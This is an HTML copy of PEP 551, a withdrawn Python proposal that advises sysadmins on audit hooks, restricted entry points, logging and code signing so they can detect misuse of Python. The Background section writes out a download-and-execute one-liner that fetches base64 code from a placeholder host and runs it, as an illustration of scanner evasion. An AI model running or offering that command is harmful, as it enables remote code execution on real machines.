python-peps/pep-0551/index.html

602 lines
45 KiB
HTML
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="color-scheme" content="light dark">
<title>PEP 551 Security transparency in the Python runtime | peps.python.org</title>
<link rel="shortcut icon" href="../_static/py.png">
<link rel="canonical" href="https://peps.python.org/pep-0551/">
<link rel="stylesheet" href="../_static/style.css" type="text/css">
<link rel="stylesheet" href="../_static/mq.css" type="text/css">
<link rel="stylesheet" href="../_static/pygments.css" type="text/css" media="(prefers-color-scheme: light)" id="pyg-light">
<link rel="stylesheet" href="../_static/pygments_dark.css" type="text/css" media="(prefers-color-scheme: dark)" id="pyg-dark">
<link rel="alternate" type="application/rss+xml" title="Latest PEPs" href="https://peps.python.org/peps.rss">
<meta property="og:title" content='PEP 551 Security transparency in the Python runtime | peps.python.org'>
<meta property="og:description" content="This PEP describes the concept of security transparency and how it applies to the Python runtime. Visibility into actions taken by the runtime is invaluable in integrating Python into an otherwise secure and/or monitored environment.">
<meta property="og:type" content="website">
<meta property="og:url" content="https://peps.python.org/pep-0551/">
<meta property="og:site_name" content="Python Enhancement Proposals (PEPs)">
<meta property="og:image" content="https://peps.python.org/_static/og-image.png">
<meta property="og:image:alt" content="Python PEPs">
<meta property="og:image:width" content="200">
<meta property="og:image:height" content="200">
<meta name="description" content="This PEP describes the concept of security transparency and how it applies to the Python runtime. Visibility into actions taken by the runtime is invaluable in integrating Python into an otherwise secure and/or monitored environment.">
<meta name="theme-color" content="#3776ab">
</head>
<body>
<svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
<symbol id="svg-sun-half" viewBox="0 0 24 24" pointer-events="all">
<title>Following system colour scheme</title>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none"
stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="12" r="9"></circle>
<path d="M12 3v18m0-12l4.65-4.65M12 14.3l7.37-7.37M12 19.6l8.85-8.85"></path>
</svg>
</symbol>
<symbol id="svg-moon" viewBox="0 0 24 24" pointer-events="all">
<title>Selected dark colour scheme</title>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none"
stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path stroke="none" d="M0 0h24v24H0z" fill="none"></path>
<path d="M12 3c.132 0 .263 0 .393 0a7.5 7.5 0 0 0 7.92 12.446a9 9 0 1 1 -8.313 -12.454z"></path>
</svg>
</symbol>
<symbol id="svg-sun" viewBox="0 0 24 24" pointer-events="all">
<title>Selected light colour scheme</title>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none"
stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<circle cx="12" cy="12" r="5"></circle>
<line x1="12" y1="1" x2="12" y2="3"></line>
<line x1="12" y1="21" x2="12" y2="23"></line>
<line x1="4.22" y1="4.22" x2="5.64" y2="5.64"></line>
<line x1="18.36" y1="18.36" x2="19.78" y2="19.78"></line>
<line x1="1" y1="12" x2="3" y2="12"></line>
<line x1="21" y1="12" x2="23" y2="12"></line>
<line x1="4.22" y1="19.78" x2="5.64" y2="18.36"></line>
<line x1="18.36" y1="5.64" x2="19.78" y2="4.22"></line>
</svg>
</symbol>
</svg>
<script>
document.documentElement.dataset.colour_scheme = localStorage.getItem("colour_scheme") || "auto"
</script>
<section id="pep-page-section">
<header>
<h1>Python Enhancement Proposals</h1>
<ul class="breadcrumbs">
<li><a href="https://www.python.org/" title="The Python Programming Language">Python</a> &raquo; </li>
<li><a href="../pep-0000/">PEP Index</a> &raquo; </li>
<li>PEP 551</li>
</ul>
<button id="colour-scheme-cycler" onClick="setColourScheme(nextColourScheme())">
<svg aria-hidden="true" class="colour-scheme-icon-when-auto"><use href="#svg-sun-half"></use></svg>
<svg aria-hidden="true" class="colour-scheme-icon-when-dark"><use href="#svg-moon"></use></svg>
<svg aria-hidden="true" class="colour-scheme-icon-when-light"><use href="#svg-sun"></use></svg>
<span class="visually-hidden">Toggle light / dark / auto colour theme</span>
</button>
</header>
<article>
<section id="pep-content">
<h1 class="page-title">PEP 551 Security transparency in the Python runtime</h1>
<dl class="rfc2822 field-list simple">
<dt class="field-odd">Author<span class="colon">:</span></dt>
<dd class="field-odd">Steve Dower &lt;steve.dower&#32;&#97;t&#32;python.org&gt;</dd>
<dt class="field-even">Status<span class="colon">:</span></dt>
<dd class="field-even"><abbr title="Removed from consideration by sponsor or authors">Withdrawn</abbr></dd>
<dt class="field-odd">Type<span class="colon">:</span></dt>
<dd class="field-odd"><abbr title="Non-normative PEP containing background, guidelines or other information relevant to the Python ecosystem">Informational</abbr></dd>
<dt class="field-even">Created<span class="colon">:</span></dt>
<dd class="field-even">23-Aug-2017</dd>
<dt class="field-odd">Python-Version<span class="colon">:</span></dt>
<dd class="field-odd">3.7</dd>
<dt class="field-even">Post-History<span class="colon">:</span></dt>
<dd class="field-even">24-Aug-2017, 28-Aug-2017</dd>
</dl>
<hr class="docutils" />
<section id="contents">
<details><summary>Table of Contents</summary><ul class="simple">
<li><a class="reference internal" href="#relationship-to-pep-578">Relationship to PEP 578</a></li>
<li><a class="reference internal" href="#abstract">Abstract</a></li>
<li><a class="reference internal" href="#background">Background</a></li>
<li><a class="reference internal" href="#summary-recommendations">Summary Recommendations</a></li>
<li><a class="reference internal" href="#restricting-the-entry-point">Restricting the Entry Point</a></li>
<li><a class="reference internal" href="#general-recommendations">General Recommendations</a></li>
<li><a class="reference internal" href="#things-not-to-do">Things not to do</a></li>
<li><a class="reference internal" href="#further-reading">Further Reading</a></li>
<li><a class="reference internal" href="#references">References</a></li>
<li><a class="reference internal" href="#acknowledgments">Acknowledgments</a></li>
<li><a class="reference internal" href="#copyright">Copyright</a></li>
</ul>
</details></section>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>This PEP has been withdrawn. For information about integrated
CPython into a secure environment, we recommend consulting your own
security experts.</p>
</div>
<section id="relationship-to-pep-578">
<h2><a class="toc-backref" href="#relationship-to-pep-578" role="doc-backlink">Relationship to PEP 578</a></h2>
<p>This PEP has been split into two since its original posting.</p>
<p>See <a class="pep reference internal" href="../pep-0578/" title="PEP 578 Python Runtime Audit Hooks">PEP 578</a> for the
auditing APIs proposed for addition to the next version of Python.</p>
<p>This is now an informational PEP, providing guidance to those planning
to integrate Python into their secure or audited environments.</p>
</section>
<section id="abstract">
<h2><a class="toc-backref" href="#abstract" role="doc-backlink">Abstract</a></h2>
<p>This PEP describes the concept of security transparency and how it
applies to the Python runtime. Visibility into actions taken by the
runtime is invaluable in integrating Python into an otherwise secure
and/or monitored environment.</p>
<p>The audit hooks described in <a class="pep reference internal" href="../pep-0578/" title="PEP 578 Python Runtime Audit Hooks">PEP 578</a> are an essential component in
detecting, identifying and analyzing misuse of Python. While the hooks
themselves are neutral (in that not every reported event is inherently
misuse), they provide essential context to those who are responsible
for monitoring an overall system or network. With enough transparency,
attackers are no longer able to hide.</p>
</section>
<section id="background">
<h2><a class="toc-backref" href="#background" role="doc-backlink">Background</a></h2>
<p>Software vulnerabilities are generally seen as bugs that enable remote
or elevated code execution. However, in our modern connected world, the
more dangerous vulnerabilities are those that enable advanced persistent
threats (APTs). APTs are achieved when an attacker is able to penetrate
a network, establish their software on one or more machines, and over
time extract data or intelligence. Some APTs may make themselves known
by maliciously damaging data (e.g., <a class="reference external" href="https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Ransom:Win32/WannaCrypt">WannaCrypt</a>)
or hardware (e.g., <a class="reference external" href="https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?name=Win32/Stuxnet">Stuxnet</a>).
Most attempt to hide their existence and avoid detection. APTs often use
a combination of traditional vulnerabilities, social engineering,
phishing (or spear-phishing), thorough network analysis, and an
understanding of misconfigured environments to establish themselves and
do their work.</p>
<p>The first infected machines may not be the final target and may not
require special privileges. For example, an APT that is established as a
non-administrative user on a developers machine may have the ability to
spread to production machines through normal deployment channels. It is
common for APTs to persist on as many machines as possible, with sheer
weight of presence making them difficult to remove completely.</p>
<p>Whether an attacker is seeking to cause direct harm or hide their
tracks, the biggest barrier to detection is a lack of insight. System
administrators with large networks rely on distributed logs to
understand what their machines are doing, but logs are often filtered to
show only error conditions. APTs that are attempting to avoid detection
will rarely generate errors or abnormal events. Reviewing normal
operation logs involves a significant amount of effort, though work is
underway by a number of companies to enable automatic anomaly detection
within operational logs. The tools preferred by attackers are ones that
are already installed on the target machines, since log messages from
these tools are often expected and ignored in normal use.</p>
<p>At this point, we are not going to spend further time discussing the
existence of APTs or methods and mitigations that do not apply to this
PEP. For further information about the field, we recommend reading or
watching the resources listed under <a class="reference internal" href="#further-reading">Further Reading</a>.</p>
<p>Python is a particularly interesting tool for attackers due to its
prevalence on server and developer machines, its ability to execute
arbitrary code provided as data (as opposed to native binaries), and its
complete lack of internal auditing. This allows attackers to download,
decrypt, and execute malicious code with a single command:</p>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s2">&quot;import urllib.request, base64;</span>
<span class="n">exec</span><span class="p">(</span><span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span>
<span class="n">urllib</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="s1">&#39;http://my-exploit/py.b64&#39;</span><span class="p">)</span>
<span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span><span class="s2">&quot;</span>
</pre></div>
</div>
<p>This command currently bypasses most anti-malware scanners that rely on
recognizable code being read through a network connection or being
written to disk (base64 is often sufficient to bypass these checks). It
also bypasses protections such as file access control lists or
permissions (no file access occurs), approved application lists
(assuming Python has been approved for other uses), and automated
auditing or logging (assuming Python is allowed to access the internet
or access another machine on the local network from which to obtain its
payload).</p>
<p>General consensus among the security community is that totally
preventing attacks is infeasible and defenders should assume that they
will often detect attacks only after they have succeeded. This is known
as the “assume breach” mindset. <a class="footnote-reference brackets" href="#id21" id="id1">[1]</a> In this scenario, protections such
as sandboxing and input validation have already failed, and the
important task is detection, tracking, and eventual removal of the
malicious code. To this end, the primary feature required from Python is
security transparency: the ability to see what operations the Python
runtime is performing that may indicate anomalous or malicious use.
Preventing such use is valuable, but secondary to the need to know that
it is occurring.</p>
<p>To summarise the goals in order of increasing importance:</p>
<ul class="simple">
<li>preventing malicious use is valuable</li>
<li>detecting malicious use is important</li>
<li>detecting attempts to bypass detection is critical</li>
</ul>
<p>One example of a scripting engine that has addressed these challenges is
PowerShell, which has recently been enhanced towards similar goals of
transparency and prevention. <a class="footnote-reference brackets" href="#id22" id="id2">[2]</a></p>
<p>Generally, application and system configuration will determine which
events within a scripting engine are worth logging. However, given the
value of many logs events are not recognized until after an attack is
detected, it is important to capture as much as possible and filter
views rather than filtering at the source (see the No Easy Breach video
from <a class="reference internal" href="#further-reading">Further Reading</a>). Events that are always of interest include
attempts to bypass auditing, attempts to load and execute code that is
not correctly signed or access-controlled, use of uncommon operating
system functionality such as debugging or inter-process inspection
tools, most network access and DNS resolution, and attempts to create
and hide files or configuration settings on the local machine.</p>
<p>To summarize, defenders have a need to audit specific uses of Python in
order to detect abnormal or malicious usage. With <a class="pep reference internal" href="../pep-0578/" title="PEP 578 Python Runtime Audit Hooks">PEP 578</a>, the Python
runtime gains the ability to provide this. The aim of this PEP is to
assist system administrators with deploying a security transparent
version of Python that can integrate with their existing auditing and
protection systems.</p>
<p>On Windows, some specific features that may be integrated through the
hooks added by <a class="pep reference internal" href="../pep-0578/" title="PEP 578 Python Runtime Audit Hooks">PEP 578</a> include:</p>
<ul class="simple">
<li>Script Block Logging <a class="footnote-reference brackets" href="#id23" id="id3">[3]</a></li>
<li>DeviceGuard <a class="footnote-reference brackets" href="#id24" id="id4">[4]</a></li>
<li>AMSI <a class="footnote-reference brackets" href="#id25" id="id5">[5]</a></li>
<li>Persistent Zone Identifiers <a class="footnote-reference brackets" href="#id26" id="id6">[6]</a></li>
<li>Event tracing (which includes event forwarding) <a class="footnote-reference brackets" href="#id27" id="id7">[7]</a></li>
</ul>
<p>On Linux, some specific features that may be integrated are:</p>
<ul class="simple">
<li>gnupg <a class="footnote-reference brackets" href="#id28" id="id8">[8]</a></li>
<li>sd_journal <a class="footnote-reference brackets" href="#id29" id="id9">[9]</a></li>
<li>OpenBSM <a class="footnote-reference brackets" href="#id30" id="id10">[10]</a></li>
<li>syslog <a class="footnote-reference brackets" href="#id31" id="id11">[11]</a></li>
<li>auditd <a class="footnote-reference brackets" href="#id32" id="id12">[12]</a></li>
<li>SELinux labels <a class="footnote-reference brackets" href="#id33" id="id13">[13]</a></li>
<li>check execute bit on imported modules</li>
</ul>
<p>On macOS, some features that may be integrated are:</p>
<ul class="simple">
<li>OpenBSM <a class="footnote-reference brackets" href="#id30" id="id14">[10]</a></li>
<li>syslog <a class="footnote-reference brackets" href="#id31" id="id15">[11]</a></li>
</ul>
<p>Overall, the ability to enable these platform-specific features on
production machines is highly appealing to system administrators and
will make Python a more trustworthy dependency for application
developers.</p>
<p>True security transparency is not fully achievable by Python in
isolation. The runtime can audit as many events as it likes, but unless
the logs are reviewed and analyzed there is no value. Python may impose
restrictions in the name of security, but usability may suffer.
Different platforms and environments will require different
implementations of certain security features, and organizations with the
resources to fully customize their runtime should be encouraged to do
so.</p>
</section>
<section id="summary-recommendations">
<h2><a class="toc-backref" href="#summary-recommendations" role="doc-backlink">Summary Recommendations</a></h2>
<p>These are discussed in greater detail in later sections, but are
presented here to frame the overall discussion.</p>
<p>Sysadmins should provide and use an alternate entry point (besides
<code class="docutils literal notranslate"><span class="pre">python.exe</span></code> or <code class="docutils literal notranslate"><span class="pre">pythonX.Y</span></code>) in order to reduce surface area and
securely enable audit hooks. A discussion of what could be restricted
is below in <a class="reference internal" href="#restricting-the-entry-point">Restricting the Entry Point</a>.</p>
<p>Sysadmins should use all available measures provided by their operating
system to prevent modifications to their Python installation, such as
file permissions, access control lists and signature validation.</p>
<p>Sysadmins should log everything and collect logs to a central location
as quickly as possible - avoid keeping logs on outer-ring machines.</p>
<p>Sysadmins should prioritize _detection_ of misuse over _prevention_ of
misuse.</p>
</section>
<section id="restricting-the-entry-point">
<h2><a class="toc-backref" href="#restricting-the-entry-point" role="doc-backlink">Restricting the Entry Point</a></h2>
<p>One of the primary vulnerabilities exposed by the presence of Python
on a machine is the ability to execute arbitrary code without
detection or verification by the system. This is made significantly
easier because the default entry point (<code class="docutils literal notranslate"><span class="pre">python.exe</span></code> on Windows and
<code class="docutils literal notranslate"><span class="pre">pythonX.Y</span></code> on other platforms) allows execution from the command
line, from standard input, and does not have any hooks enabled by
default.</p>
<p>Our recommendation is that production machines should use a modified
entry point instead of the default. Once outside of the development
environment, there is rarely a need for the flexibility offered by the
default entry point.</p>
<p>In this section, we describe a hypothetical <code class="docutils literal notranslate"><span class="pre">spython</span></code> entry point
(<code class="docutils literal notranslate"><span class="pre">spython.exe</span></code> on Windows; <code class="docutils literal notranslate"><span class="pre">spythonX.Y</span></code> on other platforms) that
provides a level of security transparency recommended for production
machines. An associated example implementation shows many of the
features described here, though with a number of concessions for the
sake of avoiding platform-specific code. A sufficient implementation
will inherently require some integration with platform-specific
security features.</p>
<p>Official distributions will not include any <code class="docutils literal notranslate"><span class="pre">spython</span></code> by default, but
third party distributions may include appropriately modified entry
points that use the same name.</p>
<p><strong>Remove most command-line arguments</strong></p>
<p>The <code class="docutils literal notranslate"><span class="pre">spython</span></code> entry point requires a script file be passed as the
first argument, and does not allow any options to precede it. This
prevents arbitrary code execution from in-memory data or non-script
files (such as pickles, which could be executed using
<code class="docutils literal notranslate"><span class="pre">-m</span> <span class="pre">pickle</span> <span class="pre">&lt;path&gt;</span></code>.</p>
<p>Options <code class="docutils literal notranslate"><span class="pre">-B</span></code> (do not write bytecode), <code class="docutils literal notranslate"><span class="pre">-E</span></code> (ignore environment
variables) and <code class="docutils literal notranslate"><span class="pre">-s</span></code> (no user site) are assumed.</p>
<p>If a file with the same full path as the process with a <code class="docutils literal notranslate"><span class="pre">._pth</span></code> suffix
(<code class="docutils literal notranslate"><span class="pre">spython._pth</span></code> on Windows, <code class="docutils literal notranslate"><span class="pre">spythonX.Y._pth</span></code> on Linux) exists, it
will be used to initialize <code class="docutils literal notranslate"><span class="pre">sys.path</span></code> following the rules currently
described <a class="reference external" href="https://docs.python.org/3/using/windows.html#finding-modules">for Windows</a>.</p>
<p>For the sake of demonstration, the example implementation of
<code class="docutils literal notranslate"><span class="pre">spython</span></code> also allows the <code class="docutils literal notranslate"><span class="pre">-i</span></code> option to start in interactive mode.
This is not recommended for restricted entry points.</p>
<p><strong>Log audited events</strong></p>
<p>Before initialization, <code class="docutils literal notranslate"><span class="pre">spython</span></code> sets an audit hook that writes all
audited events to an OS-managed log file. On Windows, this is the Event
Tracing functionality,[7]_ and on other platforms they go to
syslog.[11]_ Logs are copied from the machine as frequently as possible
to prevent loss of information should an attacker attempt to clear
local logs or prevent legitimate access to the machine.</p>
<p>The audit hook will also abort all <code class="docutils literal notranslate"><span class="pre">sys.addaudithook</span></code> events,
preventing any other hooks from being added.</p>
<p>The logging hook is written in native code and configured before the
interpreter is initialized. This is the only opportunity to ensure that
no Python code executes without auditing, and that Python code cannot
prevent registration of the hook.</p>
<p>Our primary aim is to record all actions taken by all Python processes,
so that detection may be performed offline against logged events.
Having all events recorded also allows for deeper analysis and the use
of machine learning algorithms. These are useful for detecting
persistent attacks, where the attacker is intending to remain within
the protected machines for some period of time, as well as for later
analysis to determine the impact and exposure caused by a successful
attack.</p>
<p>The example implementation of <code class="docutils literal notranslate"><span class="pre">spython</span></code> writes to a log file on the
local machine, for the sake of demonstration. When started with <code class="docutils literal notranslate"><span class="pre">-i</span></code>,
the example implementation writes all audit events to standard error
instead of the log file. The <code class="docutils literal notranslate"><span class="pre">SPYTHONLOG</span></code> environment variable can be
used to specify the log file location.</p>
<p><strong>Restrict importable modules</strong></p>
<p>Also before initialization, <code class="docutils literal notranslate"><span class="pre">spython</span></code> sets an open-for-import hook
that validates all files opened with <code class="docutils literal notranslate"><span class="pre">os.open_for_import</span></code>. This
implementation requires all files to have a <code class="docutils literal notranslate"><span class="pre">.py</span></code> suffix (preventing
the use of cached bytecode), and will raise a custom audit event
<code class="docutils literal notranslate"><span class="pre">spython.open_for_import</span></code> containing <code class="docutils literal notranslate"><span class="pre">(filename,</span> <span class="pre">True_if_allowed)</span></code>.</p>
<p>After opening the file, the entire contents is read into memory in a
single buffer and the file is closed.</p>
<p>Compilation will later trigger a <code class="docutils literal notranslate"><span class="pre">compile</span></code> event, so there is no need
to validate the contents now using mechanisms that also apply to
dynamically generated code. However, if a whitelist of source files or
file hashes is available, then other validation mechanisms such as
DeviceGuard <a class="footnote-reference brackets" href="#id24" id="id16">[4]</a> should be performed here.</p>
<p><strong>Restrict globals in pickles</strong></p>
<p>The <code class="docutils literal notranslate"><span class="pre">spython</span></code> entry point will abort all <code class="docutils literal notranslate"><span class="pre">pickle.find_class</span></code> events
that use the default implementation. Overrides will not raise audit
events unless explicitly added, and so they will continue to be allowed.</p>
<p><strong>Prevent os.system</strong></p>
<p>The <code class="docutils literal notranslate"><span class="pre">spython</span></code> entry point aborts all <code class="docutils literal notranslate"><span class="pre">os.system</span></code> calls.</p>
<p>It should be noted here that <code class="docutils literal notranslate"><span class="pre">subprocess.Popen(shell=True)</span></code> is
allowed (though logged via the platform-specific process creation
events). This tradeoff is made because it is much simpler to induce a
running application to call <code class="docutils literal notranslate"><span class="pre">os.system</span></code> with a single string argument
than a function with multiple arguments, and so it is more likely to be
used as part of an exploit. There is also little justification for
using <code class="docutils literal notranslate"><span class="pre">os.system</span></code> in production code, while <code class="docutils literal notranslate"><span class="pre">subprocess.Popen</span></code> has
a large number of legitimate uses. Though logs indicating the use of
the <code class="docutils literal notranslate"><span class="pre">shell=True</span></code> argument should be more carefully scrutinised.</p>
<p>Sysadmins are encouraged to make these kinds of tradeoffs between
restriction and detection, and generally should prefer detection.</p>
</section>
<section id="general-recommendations">
<h2><a class="toc-backref" href="#general-recommendations" role="doc-backlink">General Recommendations</a></h2>
<p>Recommendations beyond those suggested in the previous section are
difficult, as the ideal configuration for any environment depends on
the sysadmins ability to manage, monitor, and respond to activity on
their own network. Nonetheless, here we attempt to provide some context
and guidance for integrating Python into a complete system.</p>
<p>This section provides recommendations using the terms <strong>should</strong> (or
<strong>should not</strong>), indicating that we consider it risky to ignore the
advice, and <strong>may</strong>, indicating that for the advice ought to be
considered for high value systems. The term <strong>sysadmin</strong> refers to
whoever is responsible for deploying Python throughout the network;
different organizations may have an alternative title for the
responsible people.</p>
<p>Sysadmins <strong>should</strong> build their own entry point, likely starting from
the <code class="docutils literal notranslate"><span class="pre">spython</span></code> source, and directly interface with the security systems
available in their environment. The more tightly integrated, the less
likely a vulnerability will be found allowing an attacker to bypass
those systems. In particular, the entry point <strong>should not</strong> obtain any
settings from the current environment, such as environment variables,
unless those settings are otherwise protected from modification.</p>
<p>Audit messages <strong>should not</strong> be written to a local file. The
<code class="docutils literal notranslate"><span class="pre">spython</span></code> entry point does this for example and testing purposes. On
production machines, tools such as ETW <a class="footnote-reference brackets" href="#id27" id="id17">[7]</a> or auditd <a class="footnote-reference brackets" href="#id32" id="id18">[12]</a> that are
intended for this purpose should be used.</p>
<p>The default <code class="docutils literal notranslate"><span class="pre">python</span></code> entry point <strong>should not</strong> be deployed to
production machines, but could be given to developers to use and test
Python on non-production machines. Sysadmins <strong>may</strong> consider deploying
a less restrictive version of their entry point to developer machines,
since any system connected to your network is a potential target.
Sysadmins <strong>may</strong> deploy their own entry point as <code class="docutils literal notranslate"><span class="pre">python</span></code> to obscure
the fact that extra auditing is being included.</p>
<p>Python deployments <strong>should</strong> be made read-only using any available
platform functionality after deployment and during use.</p>
<p>On platforms that support it, sysadmins <strong>should</strong> include signatures
for every file in a Python deployment, ideally verified using a private
certificate. For example, Windows supports embedding signatures in
executable files and using catalogs for others, and can use DeviceGuard
<a class="footnote-reference brackets" href="#id24" id="id19">[4]</a> to validate signatures either automatically or using an
<code class="docutils literal notranslate"><span class="pre">open_for_import</span></code> hook.</p>
<p>Sysadmins <strong>should</strong> log as many audited events as possible, and
<strong>should</strong> copy logs off of local machines frequently. Even if logs are
not being constantly monitored for suspicious activity, once an attack
is detected it is too late to enable auditing. Audit hooks <strong>should
not</strong> attempt to preemptively filter events, as even benign events are
useful when analyzing the progress of an attack. (Watch the “No Easy
Breach” video under <a class="reference internal" href="#further-reading">Further Reading</a> for a deeper look at this side of
things.)</p>
<p>Most actions <strong>should not</strong> be aborted if they could ever occur during
normal use or if preventing them will encourage attackers to work around
them. As described earlier, awareness is a higher priority than
prevention. Sysadmins <strong>may</strong> audit their Python code and abort
operations that are known to never be used deliberately.</p>
<p>Audit hooks <strong>should</strong> write events to logs before attempting to abort.
As discussed earlier, it is more important to record malicious actions
than to prevent them.</p>
<p>Sysadmins <strong>should</strong> identify correlations between events, as a change
to correlated events may indicate misuse. For example, module imports
will typically trigger the <code class="docutils literal notranslate"><span class="pre">import</span></code> auditing event, followed by an
<code class="docutils literal notranslate"><span class="pre">open_for_import</span></code> call and usually a <code class="docutils literal notranslate"><span class="pre">compile</span></code> event. Attempts to
bypass auditing will often suppress some but not all of these events. So
if the log contains <code class="docutils literal notranslate"><span class="pre">import</span></code> events but not <code class="docutils literal notranslate"><span class="pre">compile</span></code> events,
investigation may be necessary.</p>
<p>The first audit hook <strong>should</strong> be set in C code before
<code class="docutils literal notranslate"><span class="pre">Py_Initialize</span></code> is called, and that hook <strong>should</strong> unconditionally
abort the <code class="docutils literal notranslate"><span class="pre">sys.addloghook</span></code> event. The Python interface is primarily
intended for testing and development.</p>
<p>To prevent audit hooks being added on non-production machines, an entry
point <strong>may</strong> add an audit hook that aborts the <code class="docutils literal notranslate"><span class="pre">sys.addloghook</span></code> event
but otherwise does nothing.</p>
<p>On production machines, a non-validating <code class="docutils literal notranslate"><span class="pre">open_for_import</span></code> hook
<strong>may</strong> be set in C code before <code class="docutils literal notranslate"><span class="pre">Py_Initialize</span></code> is called. This
prevents later code from overriding the hook, however, logging the
<code class="docutils literal notranslate"><span class="pre">setopenforexecutehandler</span></code> event is useful since no code should ever
need to call it. Using at least the sample <code class="docutils literal notranslate"><span class="pre">open_for_import</span></code> hook
implementation from <code class="docutils literal notranslate"><span class="pre">spython</span></code> is recommended.</p>
<p>Since <code class="docutils literal notranslate"><span class="pre">importlib</span></code>s use of <code class="docutils literal notranslate"><span class="pre">open_for_import</span></code> may be easily bypassed
with monkeypatching, an audit hook <strong>should</strong> be used to detect
attribute changes on type objects.</p>
</section>
<section id="things-not-to-do">
<h2><a class="toc-backref" href="#things-not-to-do" role="doc-backlink">Things not to do</a></h2>
<p>This section discusses common or “obviously good” recommendations that
we are specifically <em>not</em> making. These range from useless or incorrect
through to ideas that are simply not feasible in any real world
environment.</p>
<p><strong>Do not</strong> attempt to implement a sandbox within the Python runtime.
There is a long history of attempts to allow arbitrary code limited use
of Python features (such as <a class="footnote-reference brackets" href="#id34" id="id20">[14]</a>), but no general success. The best
options are to run unrestricted Python within a sandboxed environment
with at least hypervisor-level isolation, or to prevent unauthorised
code from starting at all.</p>
<p><strong>Do not</strong> rely on static analysis to verify untrusted code before use.
The best options are to pre-authorise trusted code, such as with code
signing, and if not possible to identify known-bad code, such as with
an anti-malware scanner.</p>
<p><strong>Do not</strong> use audit hooks to abort operations without logging the
event first. You will regret not knowing why your process disappeared.</p>
<p>[TODO - more bad advice]</p>
</section>
<section id="further-reading">
<h2><a class="toc-backref" href="#further-reading" role="doc-backlink">Further Reading</a></h2>
<dl>
<dt><strong>Redefining Malware: When Old Terms Pose New Threats</strong></dt><dd>By Aviv Raff for SecurityWeek, 29th January 2014<p>This article, and those linked by it, are high-level summaries of the rise of
APTs and the differences from “traditional” malware.</p>
<p><a class="reference external" href="http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats">http://www.securityweek.com/redefining-malware-when-old-terms-pose-new-threats</a></p>
</dd>
<dt><strong>Anatomy of a Cyber Attack</strong></dt><dd>By FireEye, accessed 23rd August 2017<p>A summary of the techniques used by APTs, and links to a number of relevant
whitepapers.</p>
<p><a class="reference external" href="https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html">https://www.fireeye.com/current-threats/anatomy-of-a-cyber-attack.html</a></p>
</dd>
<dt><strong>Automated Traffic Log Analysis: A Must Have for Advanced Threat Protection</strong></dt><dd>By Aviv Raff for SecurityWeek, 8th May 2014<p>High-level summary of the value of detailed logging and automatic analysis.</p>
<p><a class="reference external" href="http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection">http://www.securityweek.com/automated-traffic-log-analysis-must-have-advanced-threat-protection</a></p>
</dd>
<dt><strong>No Easy Breach: Challenges and Lessons Learned from an Epic Investigation</strong></dt><dd>Video presented by Matt Dunwoody and Nick Carr for Mandiant at SchmooCon 2016<p>Detailed walkthrough of the processes and tools used in detecting and removing
an APT.</p>
<p><a class="reference external" href="https://archive.org/details/No_Easy_Breach">https://archive.org/details/No_Easy_Breach</a></p>
</dd>
<dt><strong>Disrupting Nation State Hackers</strong></dt><dd>Video presented by Rob Joyce for the NSA at USENIX Enigma 2016<p>Good security practices, capabilities and recommendations from the chief of
NSAs Tailored Access Operation.</p>
<p><a class="reference external" href="https://www.youtube.com/watch?v=bDJb8WOJYdA">https://www.youtube.com/watch?v=bDJb8WOJYdA</a></p>
</dd>
</dl>
</section>
<section id="references">
<h2><a class="toc-backref" href="#references" role="doc-backlink">References</a></h2>
<aside class="footnote-list brackets">
<aside class="footnote brackets" id="id21" role="doc-footnote">
<dt class="label" id="id21">[<a href="#id1">1</a>]</dt>
<dd>Assume Breach Mindset, <a class="reference external" href="http://asian-power.com/node/11144">http://asian-power.com/node/11144</a></aside>
<aside class="footnote brackets" id="id22" role="doc-footnote">
<dt class="label" id="id22">[<a href="#id2">2</a>]</dt>
<dd>PowerShell Loves the Blue Team, also known as Scripting Security and
Protection Advances in Windows 10, <a class="reference external" href="https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/">https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/</a></aside>
<aside class="footnote brackets" id="id23" role="doc-footnote">
<dt class="label" id="id23">[<a href="#id3">3</a>]</dt>
<dd><a class="reference external" href="https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html">https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html</a></aside>
<aside class="footnote brackets" id="id24" role="doc-footnote">
<dt class="label" id="id24">[4]<em> (<a href='#id4'>1</a>, <a href='#id16'>2</a>, <a href='#id19'>3</a>) </em></dt>
<dd><a class="reference external" href="https://aka.ms/deviceguard">https://aka.ms/deviceguard</a></aside>
<aside class="footnote brackets" id="id25" role="doc-footnote">
<dt class="label" id="id25">[<a href="#id5">5</a>]</dt>
<dd>Antimalware Scan Interface, <a class="reference external" href="https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx">https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx</a></aside>
<aside class="footnote brackets" id="id26" role="doc-footnote">
